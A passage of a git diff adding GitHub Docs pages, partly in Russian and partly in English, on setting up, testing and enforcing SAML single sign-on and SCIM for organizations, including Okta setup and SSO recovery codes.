щелкните **Параметры**. +1. В **разделе {% data variables.product.pat_v1_caps %}** выберите вариант, соответствующий вашим потребностям: + - **Разрешить доступ через {% data variables.product.pat_v1_plural %}**: {% data variables.product.pat_v1_caps_plural %} может получить доступ к ресурсам, принадлежащим организации. + - **Ограничение доступа через {% data variables.product.pat_v1_plural %}**: {% data variables.product.pat_v1_caps_plural %} не может получить доступ к ресурсам, принадлежащим организации. Ключи SSH, созданные {% data variables.product.pat_v1_plural %}, продолжат работать. +1. Выберите команду **Сохранить**. diff --git a/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md new file mode 100644 index 000000000000..83c9d21fa191 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md @@ -0,0 +1,80 @@ +--- +title: Об управлении удостоверениями и доступом с помощью единого входа SAML +intro: 'При централизованном управлении удостоверениями пользователей и приложениями с помощью поставщика удостоверений (IdP) можно настроить единый вход (SSO) с помощью языка разметки заявлений системы безопасности (SAML) для защиты ресурсов организации на {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /articles/about-identity-and-access-management-with-saml-single-sign-on + - /github/setting-up-and-managing-organizations-and-teams/about-identity-and-access-management-with-saml-single-sign-on +versions: + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: IAM with SAML SSO +ms.openlocfilehash: 63ed023c1ca5d52ea7b06f5fd485c5e0b34c9750 +ms.sourcegitcommit: 6b649e03ca2fef38c9ebbeec92102219849380e2 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/31/2022 +ms.locfileid: '148120620' +--- +{% data reusables.saml.ghec-only %} + +## Сведения о едином входе SAML + +{% data reusables.saml.dotcom-saml-explanation %} + +{% data reusables.saml.saml-accounts %} + +{% data reusables.saml.resources-without-sso %} + +{% data reusables.saml.outside-collaborators-exemption %} + +Владельцы организации могут применять единый вход SAML для отдельной организации, или владельцы предприятий могут применять его для всех организаций в корпоративной учетной записи. Дополнительные сведения см. в разделе [Настройка единого входа SAML для вашего предприятия](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise). + +Перед включением единого входа SAML для вашей организации необходимо подключить к организации поставщика удостоверений. Дополнительные сведения см. в разделе [Подключение поставщика удостоверений к организации](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization). + +Для организации единый вход SAML можно отключить, включить, но не применять принудительно, включить и принудительно применять. После включения единого входа SAML для организации и ее участников можно принудительно применить конфигурацию единого входа SAML. Дополнительные сведения о применении единого входа SAML для организации {% data variables.product.prodname_dotcom %} см. в разделе [Применение единого входа SAML для вашей организации](/articles/enforcing-saml-single-sign-on-for-your-organization). + +Участники должны периодически проходить проверку подлинности с помощью поставщика удостоверений, чтобы пройти проверку подлинности и получить доступ к ресурсам вашей организации. Продолжительность этого периода для входа задается идентификатором поставщика удостоверений и обычно составляет 24 часа. Это требование о периодическом входе ограничивает продолжительность доступа и требует от пользователей повторной идентификации для продолжения работы. + +Чтобы получить доступ к защищенным ресурсам организации с помощью API и Git в командной строке, участники должны авторизоваться и пройти проверку подлинности с помощью {% data variables.product.pat_generic %} или ключа SSH. Дополнительные сведения см. в разделах [Авторизация {% data variables.product.pat_generic %} для использования с единым входом SAML](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on) и [Авторизация ключа SSH для использования с единым входом SAML](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on). + +При первом использовании единого входа SAML для доступа к организации {% data variables.product.prodname_dotcom %} автоматически создает запись, которая связывает вашу организацию, учетную запись участника в {% data variables.location.product_location %} и учетную запись участника в поставщике удостоверений. Вы можете просмотреть и отозвать связанное удостоверение SAML, активные сеансы и авторизованные учетные данные для участников организации или учетной записи предприятия. Дополнительные сведения см. в статье [Просмотр и контроль доступа SAML участника к организации](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization) и [Просмотр доступа SAML пользователя к корпоративной учетной записи и управление ею](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise). + +Если участники выполнили вход в сеанс единого входа SAML при создании нового репозитория, для этого репозитория по умолчанию установлен параметр видимости "Частный". В противном случае видимость по умолчанию настраивается как "Общедоступный". Дополнительные сведения о видимости репозитория см. в разделе [О репозиториях](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). + +Члены организации также должны иметь активный сеанс SAML для авторизации {% data variables.product.prodname_oauth_app %}. Вы можете отказаться от этого требования, обратившись к {% data variables.contact.contact_support %}. {% data variables.product.product_name %} не рекомендует отказываться от этого требования, поскольку из-за этого ваша организация будет более подвержена риску перехвата учетных записей и возможной потери данных. + +{% data reusables.saml.saml-single-logout-not-supported %} + +## Поддерживаемые службы SAML + +{% data reusables.saml.saml-supported-idps %} + +Некоторые поставщики удостоверений поддерживают доступ для подготовки к организации {% data variables.product.prodname_dotcom %} посредством SCIM. Дополнительную информацию см. в разделе [Сведения о SCIM для организаций](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations). + +{% data reusables.scim.enterprise-account-scim %} + +## Добавление участников в организацию с помощью единого входа SAML + +После включения единого входа SAML можно добавить в организацию новых участников. Владельцы организации могут вручную отправить приглашение новым участникам в {% data variables.product.product_name %} или с помощью API. Дополнительные сведения см. в разделе [Отправка пользователям приглашений присоединиться к организации](/articles/inviting-users-to-join-your-organization) и [Участники](/rest/reference/orgs#add-or-update-organization-membership). + +Для подготовки новых пользователей без приглашения от владельца организации можно использовать URL-адрес `https://github.com/orgs/ORGANIZATION/sso/sign_up`, заменив _ORGANIZATION_ на название организации. Например, можно настроить IdP таким образом, чтобы любой пользователь с доступом к IdP мог щелкнуть ссылку на панели мониторинга IdP и присоединиться к {% data variables.product.prodname_dotcom %} организации. + +{% note %} + +**Примечание:** Подготовка новых пользователей с помощью `https://github.com/orgs/ORGANIZATION/sso/sign_up` поддерживается только в том случае, если единый вход SAML настроен на уровне организации, а не при настройке единого входа SAML на уровне корпоративной учетной записи. Дополнительные сведения о едином входе SAML для корпоративных учетных записей см. в разделе [Сведения о SAML для корпоративного IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam). + +{% endnote %} + +Если ваш поставщик удостоверений поддерживает SCIM, {% data variables.product.prodname_dotcom %} может автоматически приглашать участников присоединиться к организации при предоставлении доступа к поставщику удостоверений. При удалении доступа участника к вашей организации {% data variables.product.prodname_dotcom %} в поставщике удостоверений SAML участник автоматически удаляется из организации {% data variables.product.prodname_dotcom %}. Дополнительную информацию см. в разделе [Сведения о SCIM для организаций](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations). + +{% data reusables.organizations.team-synchronization %} + +{% data reusables.saml.saml-single-logout-not-supported %} + +## Дополнительные материалы + +- [Справочник по конфигурации SAML](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference) +- [Сведения о двухфакторной проверке подлинности и едином входе SAML](/articles/about-two-factor-authentication-and-saml-single-sign-on) +- [Сведения о проверке подлинности с помощью единого входа SAML](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on) diff --git a/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations.md b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations.md new file mode 100644 index 000000000000..d4d9f69722ab --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations.md @@ -0,0 +1,53 @@ +--- +title: Сведения о SCIM для организаций +intro: С помощью System for Cross-domain Identity Management (SCIM) администраторы могут автоматизировать обмен информацией об удостоверениях пользователей между системами. +redirect_from: + - /articles/about-scim + - /github/setting-up-and-managing-organizations-and-teams/about-scim + - /organizations/managing-saml-single-sign-on-for-your-organization/about-scim +versions: + ghec: '*' +topics: + - Organizations + - Teams +ms.openlocfilehash: 8071909478d52770f2e8107df31e61b7111f73c6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145069624' +--- +## Сведения о SCIM для организаций + +Если в вашей организации используется [единый вход SAML](/articles/about-identity-and-access-management-with-saml-single-sign-on), вы можете реализовать SCIM для добавления и удаления доступа членов организации к {% data variables.product.product_name %} и управления этим решением. Например, администратор может отозвать участника организации с помощью SCIM и автоматически удалить его из организации. + +{% data reusables.saml.ghec-only %} + +{% data reusables.scim.enterprise-account-scim %} + +Если вы используете единый вход SAML без реализации SCIM, автоматический отзыв будет недоступен. Когда срок действия сеансов участников организации истекает после удаления их доступа из IdP, они не удаляются из организации автоматически. Авторизованные токены дают им доступ к организации даже после истечения срока действия их сеансов. Если SCIM не используется, чтобы полностью удалить доступ участника, владелец организации должен удалить доступ участника в IdP и вручную удалить участника из организации в {% data variables.product.prodname_dotcom %}. + +{% data reusables.scim.changes-should-come-from-idp %} + +## Поддерживаемые поставщики удостоверений + +Эти поставщики удостоверений (IdP) совместимы с API SCIM {% data variables.product.product_name %} для организаций. Дополнительные сведения см. в разделе [SCIM](/rest/scim) в документации по API {% ifversion ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}. +- Azure AD +- Okta +- OneLogin + +## Сведения о конфигурации SCIM для организаций + +{% data reusables.scim.dedicated-configuration-account %} + +Чтобы авторизовать {% data variables.product.prodname_oauth_app %}, требуется активный сеанс SAML. Дополнительные сведения см. в разделе [Сведения о проверке подлинности с помощью единого входа SAML](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-github-apps-and-saml-sso). + +{% note %} + +**Примечание.** {% data reusables.scim.nameid-and-username-must-match %} + +{% endnote %} + +## Дополнительные материалы + +- [Просмотр доступа SAML участника к вашей организации и управление им](/github/setting-up-and-managing-organizations-and-teams//viewing-and-managing-a-members-saml-access-to-your-organization) diff --git a/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md new file mode 100644 index 000000000000..81223a9effcd --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md @@ -0,0 +1,28 @@ +--- +title: 'Доступ к организации, если поставщик удостоверений недоступен' +intro: 'Администраторы организации могут войти в {% data variables.product.product_name %}, даже если их поставщик удостоверений недоступен, путем обхода единого входа и использования кодов восстановления.' +redirect_from: + - /articles/accessing-your-organization-if-your-identity-provider-is-unavailable + - /github/setting-up-and-managing-organizations-and-teams/accessing-your-organization-if-your-identity-provider-is-unavailable +versions: + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Unavailable identity provider +ms.openlocfilehash: fd965c2c847378936e10ff5cc5560397a09ca372 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145119171' +--- +Администраторы организации могут использовать [один из загруженных или сохраненных кодов восстановления](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes) для обхода системы единого входа. Возможно, вы сохранили их в диспетчере паролей, например [LastPass](https://lastpass.com/) или [1Password](https://1password.com/). + +{% data reusables.saml.recovery-code-caveats %} + +{% data reusables.saml.recovery-code-access %} + +## Дополнительные материалы + +- [Сведения об управлении удостоверениями и доступом с помощью единого входа SAML](/articles/about-identity-and-access-management-with-saml-single-sign-on) diff --git a/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md new file mode 100644 index 000000000000..ce04ec7d36d8 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md @@ -0,0 +1,64 @@ +--- +title: Configuring SAML single sign-on and SCIM using Okta +intro: 'You can use Security Assertion Markup Language (SAML) single sign-on (SSO) and System for Cross-domain Identity Management (SCIM) with Okta to automatically manage access to your organization on {% data variables.location.product_location %}.' +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/configuring-saml-single-sign-on-and-scim-using-okta +permissions: Organization owners can configure SAML SSO and SCIM using Okta for an organization. +versions: + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Configure SAML & SCIM with Okta +--- + +## About SAML and SCIM with Okta + +You can control access to your organization on {% data variables.location.product_location %} and other web applications from one central interface by configuring the organization to use SAML SSO and SCIM with Okta, an Identity Provider (IdP). + +{% data reusables.saml.ghec-only %} + +SAML SSO controls and secures access to organization resources like repositories, issues, and pull requests. SCIM automatically adds, manages, and removes members' access to your organization on {% data variables.location.product_location %} when you make changes in Okta. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)" and "[About SCIM for organizations](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)." + +After you enable SCIM, the following provisioning features are available for any users that you assign your {% data variables.product.prodname_ghe_cloud %} application to in Okta. + +| Feature | Description | +| --- | --- | +| Push New Users | When you create a new user in Okta, the user will receive an email to join your organization on {% data variables.location.product_location %}. | +| Push User Deactivation | When you deactivate a user in Okta, Okta will remove the user from your organization on {% data variables.location.product_location %}. | +| Push Profile Updates | When you update a user's profile in Okta, Okta will update the metadata for the user's membership in your organization on {% data variables.location.product_location %}. | +| Reactivate Users | When you reactivate a user in Okta, Okta will send an email invitation for the user to rejoin your organization on {% data variables.location.product_location %}. | + +Alternatively, you can configure SAML SSO for an enterprise using Okta. SCIM for enterprise accounts is only available with Enterprise Managed Users. For more information, see "[Configuring SAML single sign-on for your enterprise using Okta](/admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)" and "[Configuring SCIM provisioning for Enterprise Managed Users with Okta](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users-with-okta)." + +## Adding the {% data variables.product.prodname_ghe_cloud %} application in Okta + +{% data reusables.saml.okta-sign-on-tab %} +{% data reusables.saml.okta-view-setup-instructions %} +1. Enable and test SAML SSO on {% data variables.product.prodname_dotcom %} using the sign on URL, issuer URL, and public certificates from the "How to Configure SAML 2.0" guide. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization#enabling-and-testing-saml-single-sign-on-for-your-organization)." + +## Configuring access provisioning with SCIM in Okta + +{% data reusables.scim.dedicated-configuration-account %} + +1. Sign into {% data variables.product.prodname_dotcom_the_website %} using an account that is an organization owner and is ideally used only for SCIM configuration. +1. To create an active SAML session for your organization, navigate to `https://github.com/orgs/ORGANIZATION-NAME/sso`. For more information, see "[About authentication with SAML single sign-on](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on#about-oauth-apps-github-apps-and-saml-sso)." +1. Navigate to Okta. +{% data reusables.saml.okta-dashboard-click-applications %} +{% data reusables.saml.okta-applications-click-ghec-application-label %} +{% data reusables.saml.okta-provisioning-tab %} +{% data reusables.saml.okta-configure-api-integration %} +{% data reusables.saml.okta-enable-api-integration %} +1. Click **Authenticate with {% data variables.product.prodname_ghe_cloud %} - Organization**. +1. To the right of your organization's name, click **Grant**. + + !["Grant" button for authorizing Okta SCIM integration to access organization](/assets/images/help/saml/okta-scim-integration-grant-organization-access.png) +1. Click **Authorize OktaOAN**. +{% data reusables.saml.okta-save-provisioning %} +{% data reusables.saml.okta-edit-provisioning %} + +## Further reading + +- "[Configuring SAML single sign-on for your enterprise account using Okta](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)" +- [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) in the Okta documentation +- [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) in the Okta documentation diff --git a/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md new file mode 100644 index 000000000000..ef504e215618 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md @@ -0,0 +1,45 @@ +--- +title: Подключение поставщика идентификаторов к вашей организации +intro: 'Чтобы использовать единый вход SAML и SCIM, необходимо подключить поставщика удостоверений (IdP) к организации в {% data variables.product.product_name %}.' +redirect_from: + - /articles/connecting-your-identity-provider-to-your-organization + - /github/setting-up-and-managing-organizations-and-teams/connecting-your-identity-provider-to-your-organization +versions: + ghec: '*' +topics: + - Authentication + - Organizations + - Teams +shortTitle: Connect an IdP +ms.openlocfilehash: 61ae7b13afa01938c316e9ee785f7393d520a0c4 +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: '148098029' +--- +## Сведения о подключении поставщика удостоверений к организации + +При включении единого входа SAML для организации {% data variables.product.product_name %} вы подключаете поставщик удостоверений к организации. Дополнительные сведения см. в разделе [Включение и тестирование единого входа SAML для организации](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization). + +{% data reusables.saml.ghec-only %} + +Сведения о реализации SAML и SCIM можно найти в документации поставщика удостоверений. +- [SAML ](https://docs.microsoft.com/windows-server/identity/active-directory-federation-services) службы федерации Active Directory (AD FS) +- [SAML](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-tutorial) и [SCIM](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-provisioning-tutorial) Azure Active Directory (Azure AD) +- [SAML](http://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-Github-com.html) и [SCIM](http://developer.okta.com/standards/SCIM/) Okta +- [SAML](https://onelogin.service-now.com/support?id=kb_article&sys_id=2929ddcfdbdc5700d5505eea4b9619c6) и [SCIM](https://onelogin.service-now.com/support?id=kb_article&sys_id=5aa91d03db109700d5505eea4b96197e) OneLogin +- [SAML](https://support.pingidentity.com/s/marketplace-integration/a7i1W0000004ID3QAM/github-connector)PingOne +- [SAML](https://shibboleth.atlassian.net/wiki/spaces/IDP4/overview) Shibboleth + +{% note %} + +**Примечание.** {% data variables.product.product_name %} поддерживаются следующие поставщики удостоверений для SCIM: Azure AD, Okta и OneLogin. Дополнительные сведения об SCIM см. в статье [Сведения об SCIM для организаций](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations). + +{% data reusables.scim.enterprise-account-scim %} + +{% endnote %} + +## Метаданные SAML + +Дополнительные сведения о метаданных SAML для вашей организации см. в разделе [Справочник по конфигурации SAML](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference). diff --git a/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md new file mode 100644 index 000000000000..01040de16fb0 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md @@ -0,0 +1,37 @@ +--- +title: Downloading your organization's SAML single sign-on recovery codes +intro: 'Organization administrators should download their organization''s SAML single sign-on recovery codes to ensure that they can access {% data variables.product.product_name %} even if the identity provider for the organization is unavailable.' +redirect_from: + - /articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes + - /articles/downloading-your-organizations-saml-single-sign-on-recovery-codes + - /github/setting-up-and-managing-organizations-and-teams/downloading-your-organizations-saml-single-sign-on-recovery-codes +versions: + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Download SAML recovery codes +--- + +Recovery codes should not be shared or distributed. We recommend saving them with a password manager such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/). + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +5. Under "SAML single sign-on", in the note about recovery codes, click **Save your recovery codes**. +![Link to view and save your recovery codes](/assets/images/help/saml/saml_recovery_codes.png) +6. Save your recovery codes by clicking **Download**, **Print**, or **Copy**. +![Buttons to download, print, or copy your recovery codes](/assets/images/help/saml/saml_recovery_code_options.png) + + {% note %} + + **Note:** Your recovery codes will help get you back into {% data variables.product.product_name %} if your IdP is unavailable. If you generate new recovery codes the recovery codes displayed on the "Single sign-on recovery codes" page are automatically updated. + + {% endnote %} + +7. Once you use a recovery code to regain access to {% data variables.product.product_name %}, it cannot be reused. Access to {% data variables.product.product_name %} will only be available for 24 hours before you'll be asked to sign in using single sign-on. + +## Further reading + +- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)" +- "[Accessing your organization if your identity provider is unavailable](/articles/accessing-your-organization-if-your-identity-provider-is-unavailable)" diff --git a/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md new file mode 100644 index 000000000000..bcb2a67892c7 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization.md @@ -0,0 +1,68 @@ +--- +title: Enabling and testing SAML single sign-on for your organization +intro: Organization owners and admins can enable SAML single sign-on to add an extra layer of security to their organization. +redirect_from: + - /articles/enabling-and-testing-saml-single-sign-on-for-your-organization + - /github/setting-up-and-managing-organizations-and-teams/enabling-and-testing-saml-single-sign-on-for-your-organization +versions: + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Enable & test SAML SSO +--- + +## About SAML single sign-on + +You can enable SAML SSO in your organization without requiring all members to use it. Enabling but not enforcing SAML SSO in your organization can help smooth your organization's SAML SSO adoption. Once a majority of your organization's members use SAML SSO, you can enforce it within your organization. + +{% data reusables.saml.ghec-only %} + +If you enable but don't enforce SAML SSO, organization members who choose not to use SAML SSO can still be members of the organization. For more information on enforcing SAML SSO, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)." + +{% data reusables.saml.outside-collaborators-exemption %} + +{% data reusables.saml.saml-disabled-linked-identities-removed %} + +## Enabling and testing SAML single sign-on for your organization + +Before your enforce SAML SSO in your organization, ensure that you've prepared the organization. For more information, see "[Preparing to enforce SAML single sign-on in your organization](/articles/preparing-to-enforce-saml-single-sign-on-in-your-organization)." + +For more information about the identity providers (IdPs) that {% data variables.product.company_short %} supports for SAML SSO, see "[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)." + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +5. Under "SAML single sign-on", select **Enable SAML authentication**. +![Checkbox for enabling SAML SSO](/assets/images/help/saml/saml_enable.png) + + {% note %} + + **Note:** After enabling SAML SSO, you can download your single sign-on recovery codes so that you can access your organization even if your IdP is unavailable. For more information, see "[Downloading your organization's SAML single sign-on recovery codes](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes)." + + {% endnote %} + +6. In the "Sign on URL" field, type the HTTPS endpoint of your IdP for single sign-on requests. This value is available in your IdP configuration. +![Field for the URL that members will be forwarded to when signing in](/assets/images/help/saml/saml_sign_on_url.png) +7. Optionally, in the "Issuer" field, type your SAML issuer's name. This verifies the authenticity of sent messages. +![Field for the SAML issuer's name](/assets/images/help/saml/saml_issuer.png) +8. Under "Public Certificate," paste a certificate to verify SAML responses. +![Field for the public certificate from your identity provider](/assets/images/help/saml/saml_public_certificate.png) +9. Click {% octicon "pencil" aria-label="The edit icon" %} and then in the Signature Method and Digest Method drop-downs, choose the hashing algorithm used by your SAML issuer to verify the integrity of the requests. +![Drop-downs for the Signature Method and Digest method hashing algorithms used by your SAML issuer](/assets/images/help/saml/saml_hashing_method.png) +10. Before enabling SAML SSO for your organization, click **Test SAML configuration** to ensure that the information you've entered is correct. ![Button to test SAML configuration before enforcing](/assets/images/help/saml/saml_test.png) + + {% tip %} + + **Tip:** {% data reusables.saml.testing-saml-sso %} + + {% endtip %} +11. To enforce SAML SSO and remove all organization members who haven't authenticated via your IdP, select **Require SAML SSO authentication for all members of the _organization name_ organization**. For more information on enforcing SAML SSO, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)." +![Checkbox to require SAML SSO for your organization ](/assets/images/help/saml/saml_require_saml_sso.png) +12. Click **Save**. +![Button to save SAML SSO settings](/assets/images/help/saml/saml_save.png) + +## Further reading + +- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)" +- "[SAML configuration reference](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference)" diff --git a/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md new file mode 100644 index 000000000000..79be1331393d --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization.md @@ -0,0 +1,52 @@ +--- +title: Enforcing SAML single sign-on for your organization +intro: Organization owners and admins can enforce SAML SSO so that all organization members must authenticate via an identity provider (IdP). +redirect_from: + - /articles/enforcing-saml-single-sign-on-for-your-organization + - /github/setting-up-and-managing-organizations-and-teams/enforcing-saml-single-sign-on-for-your-organization +versions: + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Enforce SAML single sign-on +--- + +## About enforcement of SAML SSO for your organization + +When you enable SAML SSO, {% data variables.product.prodname_dotcom %} will prompt members who visit the organization's resources on {% data variables.product.prodname_dotcom_the_website %} to authenticate on your IdP, which links the member's personal account to an identity on the IdP. Members can still access the organization's resources before authentication with your IdP. + +![Banner with prompt to authenticate via SAML SSO to access organization](/assets/images/help/saml/sso-has-been-enabled.png) + +You can also enforce SAML SSO for your organization. {% data reusables.saml.when-you-enforce %} Enforcement removes any members and administrators who have not authenticated via your IdP from the organization. {% data variables.product.company_short %} sends an email notification to each removed user. + +{% data reusables.saml.ghec-only %} + +{% data reusables.saml.removed-users-can-rejoin %} If a user rejoins the organization within three months, the user's access privileges and settings will be restored. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)." + +Bots and service accounts that do not have external identities set up in your organization's IdP will also be removed when you enforce SAML SSO. For more information about bots and service accounts, see "[Managing bots and service accounts with SAML single sign-on](/articles/managing-bots-and-service-accounts-with-saml-single-sign-on)." + +If your organization is owned by an enterprise account, requiring SAML for the enterprise account will override your organization-level SAML configuration and enforce SAML SSO for every organization in the enterprise. For more information, see "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." + +{% tip %} + +**Tip:** {% data reusables.saml.testing-saml-sso %} + +{% endtip %} + +## Enforcing SAML SSO for your organization + +1. Enable and test SAML SSO for your organization, then authenticate with your IdP at least once. For more information, see "[Enabling and testing SAML single sign-on for your organization](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)." +1. Prepare to enforce SAML SSO for your organization. For more information, see "[Preparing to enforce SAML single sign-on in your organization](/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization)." +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.security %} +1. Under "SAML single sign-on", select **Require SAML SSO authentication for all members of the _ORGANIZATION_ organization**. + !["Require SAML SSO authentication" checkbox](/assets/images/help/saml/require-saml-sso-authentication.png) +1. If any organization members have not authenticated via your IdP, {% data variables.product.company_short %} displays the members. If you enforce SAML SSO, {% data variables.product.company_short %} will remove the members from the organization. Review the warning and click **Remove members and require SAML single sign-on**. + !["Confirm SAML SSO enforcement" dialog with list of members to remove from organization](/assets/images/help/saml/confirm-saml-sso-enforcement.png) +1. Under "Single sign-on recovery codes", review your recovery codes. Store the recovery codes in a safe location like a password manager. + +## Further reading + +- "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" diff --git a/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md new file mode 100644 index 000000000000..c96cf04ad6c9 --- /dev/null +++ b/translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/index.md @@ -0,0 +1,33 @@ +--- +title: Управление единым входом SAML для вашей организации +intro: Владельцы организации могут управлять удостоверениями участников организации и доступом к организации с 